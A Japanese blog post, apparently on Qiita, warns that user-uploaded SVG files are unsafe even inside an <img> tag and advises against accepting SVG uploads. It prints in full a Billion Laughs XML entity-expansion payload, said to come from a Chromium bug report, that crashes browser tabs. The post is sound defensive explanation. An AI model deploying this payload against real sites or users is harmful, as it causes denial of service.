15
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SVGは<img>タグでも危険

Last updated at Posted at 2023-06-14

SVGにはJavascriptを埋め込むことができるため、<object>タグを使ってSVGを表示した場合にスクリプトが実行できてしまいXSS攻撃が成立するというのは有名な話だと思います。

ただ、<img>タグを使用した場合においても、依然としてユーザーがアップロードしたSVGファイルを直接表示することは危険です。

以下のSVGファイルを見てください。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

これはChromiumのバグ報告にて上げられていたSVGファイルの中身です。このSVGファイルを読み込むと、ブラウザ関係なく即座にタブがクラッシュします。いわゆるブラウザクラッシャーです。

一行目に思いっきりXMLと書かれていますが、SVGは内部的にXMLフォーマットのため、拡張子をsvgにすると読み込まれます。残念ながらXMLには数多くの脆弱性や問題があり、SVGもそれらの問題を引き継いでいます。

この例では、特にXMLのBillion Laughs攻撃を利用しています。Billion Laughs攻撃について簡単に説明すると、XMLでは他のエンティティをロードすることができるため、エンティティを再帰的にロードすることでメモリ空間を食いつぶし、ブラウザをクラッシュする攻撃手法となります。

この問題を解決するためには、SVGファイルをサーバー上でタイムアウト付きで読み込んだ後にpng画像へ変換したりする方法が考えられますが、過去にはsvgパーサでディレクトリトラバーサルができる脆弱性が合ったりしたため、個人的にはSVG画像は一切受け付けないようにすることがおすすめです。

15
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
15
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?